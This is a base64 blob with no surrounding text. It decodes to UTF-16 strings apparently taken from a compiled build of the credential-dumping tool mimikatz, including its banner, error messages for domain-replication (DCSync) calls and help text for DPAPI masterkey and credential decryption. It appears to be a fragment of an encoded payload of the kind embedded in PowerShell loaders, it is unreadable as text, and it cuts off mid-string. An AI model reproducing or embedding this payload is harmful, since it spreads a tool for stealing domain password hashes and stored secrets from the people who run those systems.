AB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAOwAgAE4AbwAgAGIAdQBmAGYAZQByACAAPwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAABuAGMAYQBjAG4AXwBpAHAAXwB0AGMAcAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQATwBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBjAHIAZQBhAHQAZQBCAGkAbgBkAGkAbgBnACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAUwBlAHQAQQB1AHQAaABJAG4AZgBvAEUAeAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAATgBvACAAQgBpAG4AZABpAG4AZwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AYwByAGUAYQB0AGUAQgBpAG4AZABpAG4AZwAgADsAIABSAHAAYwBCAGkAbgBkAGkAbgBnAEYAcgBvAG0AUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGMAcgBlAGEAdABlAEIAaQBuAGQAaQBuAGcAIAA7ACAAUgBwAGMAUwB0AHIAaQBuAGcAQgBpAG4AZABpAG4AZwBDAG8AbQBwAG8AcwBlADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIABEAEMAIAAnACUAcwAnACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABOAG8AIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAEQATABfAEQAUgBTAEIAaQBuAGQAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAQwBCAGkAbgBkACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAATgBPAF8ARQBSAFIATwBSAAAAAABFAFIAUgBPAFIAXwBSAEUAUwBPAEwAVgBJAE4ARwAAAEUAUgBSAE8AUgBfAE4ATwBUAF8ARgBPAFUATgBEAAAARQBSAFIATwBSAF8ATgBPAFQAXwBVAE4ASQBRAFUARQAAAAAARQBSAFIATwBSAF8ATgBPAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8ARABPAE0AQQBJAE4AXwBPAE4ATABZAAAARQBSAFIATwBSAF8ATgBPAF8AUwBZAE4AVABBAEMAVABJAEMAQQBMAF8ATQBBAFAAUABJAE4ARwAAAAAARQBSAFIATwBSAF8AVABSAFUAUwBUAF8AUgBFAEYARQBSAFIAQQBMAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzACAAKABuAGEAbQBlACAAcwB0AGEAdAB1AHMAKQA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApACAALQAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAbgBvACAAaQB0AGUAbQAhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAGIAYQBkACAAdgBlAHIAcwBpAG8AbgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwBoAGUAYwBrAHMAdQBtAHMAIABkAG8AbgAnAHQAIABtAGEAdABjAGgAIAAoAEMAOgAwAHgAJQAwADgAeAAgAC0AIABSADoAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEUAbgBjAHIAeQBwAHQARABlAGMAcgB5AHAAdABSAEMANAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBDAFIAQQBDAEsAUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABuAGEAbQBlAEMAcgBhAGMAawBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEQAQwBJAE4ARgBPAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZABjAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAFQATwBEAE8AIAAoAG0AYQB5AGIAZQA/ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZgByAGUAZQBfAEQAUgBTAF8ATQBTAEcAXwBHAEUAVABDAEgARwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAGQAdwBPAHUAdABWAGUAcgBzAGkAbwBuACAAbgBvAHQAIAB2AGEAbABpAGQAIAAoADAAeAAlADAAOAB4ACAALQAgACUAdQApAAoAAABTAGUAcgB2AGkAYwBlAHMAQQBjAHQAaQB2AGUAAAAAACUAMAAyAHgAAAAAACUAMAAyAHgAIAAAADAAeAAlADAAMgB4ACwAIAAAAAAAXAB4ACUAMAAyAHgAAAAAAAoAQgBZAFQARQAgAGQAYQB0AGEAWwBdACAAPQAgAHsACgAJAAAAAAAJAAAACgB9ADsACgAAAAAAJQBzACAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABvAGsAZQBuAAAACgAgACAALgAjACMAIwAjACMALgAgACAAIABtAGkAbQBpAGsAYQB0AHoAIAAyAC4AMAAgAGEAbABwAGgAYQAgACgAeAA4ADYAKQAgAHIAZQBsAGUAYQBzAGUAIAAiAEsAaQB3AGkAIABlAG4AIABDACIAIAAoAEQAZQBjACAAMQA0ACAAMgAwADEANQAgADEAOAA6ADAAMwA6ADAANwApAAoAIAAuACMAIwAgAF4AIAAjACMALgAgACAACgAgACMAIwAgAC8AIABcACAAIwAjACAAIAAvACoAIAAqACAAKgAKACAAIwAjACAAXAAgAC8AIAAjACMAIAAgACAAQgBlAG4AagBhAG0AaQBuACAARABFAEwAUABZACAAYABnAGUAbgB0AGkAbABrAGkAdwBpAGAAIAAoACAAYgBlAG4AagBhAG0AaQBuAEAAZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtACAAKQAKACAAJwAjACMAIAB2ACAAIwAjACcAIAAgACAAaAB0AHQAcAA6AC8ALwBiAGwAbwBnAC4AZwBlAG4AdABpAGwAawBpAHcAaQAuAGMAbwBtAC8AbQBpAG0AaQBrAGEAdAB6ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABvAGUALgBlAG8AKQAKACAAIAAnACMAIwAjACMAIwAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBpAHQAaAAgACUAMgB1ACAAbQBvAGQAdQBsAGUAcwAgACoAIAAqACAAKgAvAAoACgAAAAAACgBtAGkAbQBpAGsAYQB0AHoAKABwAG8AdwBlAHIAcwBoAGUAbABsACkAIAAjACAAJQBzAAoAAABJAE4ASQBUAAAAAABDAEwARQBBAE4AAAA+AD4APgAgACUAcwAgAG8AZgAgACcAJQBzACcAIABtAG8AZAB1AGwAZQAgAGYAYQBpAGwAZQBkACAAOgAgACUAMAA4AHgACgAAAAAAOgA6AAAAAAAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAbQBvAGQAdQBsAGUAIABuAG8AdAAgAGYAbwB1AG4AZAAgACEACgAAAAoAJQAxADYAcwAAACAAIAAtACAAIAAlAHMAAAAgACAAWwAlAHMAXQAAAAAARQBSAFIATwBSACAAbQBpAG0AaQBrAGEAdAB6AF8AZABvAEwAbwBjAGEAbAAgADsAIAAiACUAcwAiACAAYwBvAG0AbQBhAG4AZAAgAG8AZgAgACIAJQBzACIAIABtAG8AZAB1AGwAZQAgAG4AbwB0ACAAZgBvAHUAbgBkACAAIQAKAAAACgBNAG8AZAB1AGwAZQAgADoACQAlAHMAAAAAAAoARgB1AGwAbAAgAG4AYQBtAGUAIAA6AAkAJQBzAAAACgBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAA6AAkAJQBzAAAAYgBsAG8AYgAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAEQAUABBAFAASQAgAGIAbABvAGIALAAgAHUAbgBwAHIAbwB0AGUAYwB0ACAAaQB0ACAAdwBpAHQAaAAgAEEAUABJACAAbwByACAATQBhAHMAdABlAHIAawBlAHkAAABwAHIAbwB0AGUAYwB0AAAAAAAAAFAAcgBvAHQAZQBjAHQAIABhACAAZABhAHQAYQAgAHYAaQBhACAAYQAgAEQAUABBAFAASQAgAGMAYQBsAGwAAABtAGEAcwB0AGUAcgBrAGUAeQAAAAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAATQBhAHMAdABlAHIAawBlAHkAIABmAGkAbABlACwAIAB1AG4AcAByAG8AdABlAGMAdAAgAGUAYQBjAGgAIABNAGEAcwB0AGUAcgBrAGUAeQAgACgAawBlAHkAIABkAGUAcABlAG4AZABpAG4AZwApAAAAYwByAGUAZABoAGkAcwB0AAAAAABEAGUAcwBjAHIAaQBiAGUAIABhACAAQwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAAAAAAYwBhAHAAaQAAAAAAQwBBAFAASQAgAGsAZQB5ACAAdABlAHMAdAAAAGMAbgBnAAAAQwBOAEcAIABrAGUAeQAgAHQAZQBzAHQAAAAAAGMAcgBlAGQAAAAAAEMAUgBFAEQAIAB0AGUAcwB0AAAAdgBhAHUAbAB0AAAAVgBBAFUATABUACAAdABlAHMAdAAAAAAAYwBhAGMAaABlAAAAZABwAGEAcABpAAAARABQAEEAUABJACAATQBvAGQAdQBsAGUAIAAoAGIAeQAgAEEAUABJACAAbwByACAAUgBBAFcAIABhAGMAYwBlAHMAcwApAAAARABhAHQAYQAgAFAAcgBvAHQAZQBjAHQAaQBvAG4AIABhAHAAcABsAGkAYwBhAHQAaQBvAG4AIABwAHIAbwBnAHIAYQBtAG0AaQBuAGcAIABpAG4AdABlAHIAZgBhAGMAZQAAAGkAbgAAAAAAZABlAHMAYwByAGkAcAB0AGkAbwBuACAAOgAgACUAcwAKAAAAbwB1AHQAAABXAHIAaQB0AGUAIAB0AG8AIABmAGkAbABlACAAJwAlAHMAJwAgAGkAcwAgAE8ASwAKAAAAZABhAHQAYQAgAC0AIAAAAHQAZQB4AHQAIAA6ACAAJQBzAAAAaABlAHgAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAABkAGEAdABhAAAAAABkAGUAcwBjAHIAaQBwAHQAaQBvAG4AAABlAG4AdAByAG8AcAB5AAAAbQBhAGMAaABpAG4AZQAAAHAAcgBvAG0AcAB0AAAAAABjAAAACgBkAGEAdABhACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAGYAbABhAGcAcwAgACAAIAAgACAAIAAgADoAIAAAAAAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAOgAgAAAAAABlAG4AdAByAG8AcAB5ACAAIAAgACAAIAA6ACAAAAAAAEIAbABvAGIAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHAAcgBvAHQAZQBjAHQAIAA7ACAAQwByAHkAcAB0AFAAcgBvAHQAZQBjAHQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcAByAG8AdABlAGMAdABlAGQAAABzAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEMAbwBuAHYAZQByAHQAUwB0AHIAaQBuAGcAUwBpAGQAVABvAFMAaQBkACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGgAYQBzAGgAAAAAAHMAeQBzAHQAZQBtAAAAAAAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAdgBvAGwAYQB0AGkAbABlACAAYwBhAGMAaABlADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABOAG8AIABzAHUAaQB0AGEAYgBsAGUAIABrAGUAeQAgAGYAbwB1AG4AZAAgAGkAbgAgAGMAYQBjAGgAZQAKAAAAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQAgACgAbQBhAGMAaABpAG4AZQAsACAAdABoAGUAbgAgAHUAcwBlAHIAKQA6ACAAAAAqACoAIABNAEEAQwBIAEkATgBFACAAKgAqAAoAAAAAACoAKgAgAFUAUwBFAFIAIAAqACoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5AAoAAAAKAFsAbQBhAHMAdABlAHIAawBlAHkAXQAgAHcAaQB0AGgAIABEAFAAQQBQAEkAXwBTAFkAUwBUAEUATQA6ACAAAAAAAHAAYQBzAHMAdwBvAHIAZAAAAAAAbgBvAHIAbQBhAGwAAAAAAAoAWwBtAGEAcwB0AGUAcgBrAGUAeQBdACAAdwBpAHQAaAAgAHAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzACAAKAAlAHMAIAB1AHMAZQByACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBwAGEAcwBzAHcAbwByAGQACgAAAAAACgBbAG0AYQBzAHQAZQByAGsAZQB5AF0AIAB3AGkAdABoACAAaABhAHMAaAA6ACAAAAAAACAAKABuAHQAbABtACAAdAB5AHAAZQApAAoAAAAgACgAcwBoAGEAMQAgAHQAeQBwAGUAKQAKAAAAIAAoAD8AKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBtAGEAcwB0AGUAcgBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AdQBzAGUAcgBIAGEAcwBoAAoAAAAAAAoAWwBkAG8AbQBhAGkAbgBrAGUAeQBdACAAdwBpAHQAaAAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbQBhAHMAdABlAHIAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwBkAHAAYQBwAGkAXwB1AG4AcAByAG8AdABlAGMAdABfAGQAbwBtAGEAaQBuAGsAZQB5AF8AdwBpAHQAaABfAGsAZQB5AAoAAABwAHYAawAAAAAAAAAKAFsAZABvAG0AYQBpAG4AawBlAHkAXQAgAHcAaQB0AGgAIABSAFMAQQAgAHAAcgBpAHYAYQB0AGUAIABrAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG0AYQBzAHQAZQByAGsAZQB5ACAAOwAgAEkAbgBwAHUAdAAgAG0AYQBzAHQAZQByAGsAZQB5AHMAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AaQBuADoAZgBpAGwAZQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAaABpAHMAdAAgADsAIABDAG8AbgB2AGUAcgB0AFMAdAByAGkAbgBnAFMAaQBkAFQAbwBTAGkAZAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcwBoAGEAMQAAAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIAB2AG8AbABhAHQAaQBsAGUAIABjAGEAYwBoAGUAOgAgAAAACgAgACAAWwBlAG4AdAByAHkAIAAlAHUAXQAgAHcAaQB0AGgAIABTAEgAQQAxACAAYQBuAGQAIABTAEkARAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwBjAHIAZQBkAGgAaQBzAHQAIAA7ACAASQBuAHAAdQB0ACAAYwByAGUAZABoAGkAcwB0ACAAZgBpAGwAZQAgAG4AZQBlAGQAZQBkACAAKAAvAGkAbgA6AGYAaQBsAGUAKQAKAAAAAAB1AG4AcAByAG8AdABlAGMAdAAAACAAKgAgAHYAbwBsAGEAdABpAGwAZQAgAGMAYQBjAGgAZQA6ACAAAAAgACoAIABtAGEAcwB0AGUAcgBrAGUAeQAgACAAIAAgACAAOgAgAAAAIAA+ACAAcAByAG8AbQBwAHQAIABmAGwAYQBnAHMAIAAgADoAIAAAACAAPgAgAGUAbgB0AHIAbwBwAHkAIAAgACAAIAAgACAAIAA6ACAAAAAgAD4AIABwAGEAcwBzAHcAbwByAGQAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AcgBhAHcAXwBvAHIAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABVAG4AcAByAG8AdABlAGMAdABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAgACAAawBlAHkAIAA6ACAAAAAAACAAIABzAGgAYQAxADoAIAAAAAAAIAAgAHMAaQBkACAAOgAgAAAAAAAgACAAIAAAACAALQAtACAAAAAAACAAIAAgAD4AIABOAFQATABNADoAIAAAACAAIAAgAD4AIABTAEgAQQAxADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AbQBhAHMAdABlAHIAawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAIABIAGEAcwBoAD8AAAAAAEcAVQBJAEQAOgAAADsAAABLAGUAeQBIAGEAcwBoADoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAG8AZQBfAGMAcgBlAGQAZQBuAHQAaQBhAGwAXwBhAGQAZAAgADsAIABOAG8AIABTAEkARAA/AAAAAABTAEkARAA6ACUAcwAAAAAATQBEADQAOgAAAAAAUwBIAEEAMQA6AAAATQBEADQAcAA6AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AbwBlAF8AZABvAG0AYQBpAG4AawBlAHkAXwBhAGQAZAAgADsAIABOAG8AIABHAFUASQBEACAAbwByACAASwBlAHkAPwAAAFIAUwBBAAAATABFAEcAQQBDAFkAAAAAADsAVABZAFAARQA6ACUAcwAKAAAACgBDAFIARQBEAEUATgBUAEkAQQBMAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0ACgAAAAAAAAAKAE0AQQBTAFQARQBSAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAAAKAEQATwBNAEEASQBOAEsARQBZAFMAIABjAGEAYwBoAGUACgA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AD0APQA9AAoAAABBAHUAdABvACAAUwBJAEQAIABmAHIAbwBtACAAcABhAHQAaAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQA6ACAAJQBzAAoAAABEAGUAYwByAHkAcAB0AGkAbgBnACAAQwByAGUAZABlAG4AdABpAGEAbAA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGQAcABhAHAAaQBfAGMAcgBlAGQAIAA7ACAASQBuAHAAdQB0ACAAQwBSAEUARAAgAGYAaQBsAGUAIABuAGUAZQBkAGUAZAAgACgALwBpAG4AOgBmAGkAbABlACkACgAAAAAAcABvAGwAaQBjAHkAAAAAAEQAZQBjAHIAeQBwAHQAaQBuAGcAIABQAG8AbABpAGMAeQAgAEsAZQB5AHMAOgAKAAAAAAAgACAAQQBFAFMAMQAyADgAIABrAGUAeQA6ACAAAAAAACAAIABBAEUAUwAyADUANgAgAGsAZQB5ADoAIAAAAAAAIAAgAD4AIABBAHQAdAByAGkAYgB1AHQAZQAgACUAdQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBkAHAAYQBwAGkAXwB2AGEAdQBsAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKABwAG8AbABpAGMAeQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZABwAGEAcABpAF8AdgBhAHUAbAB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAYwByAGUAZAApACAAKAAwAHgAJQAwA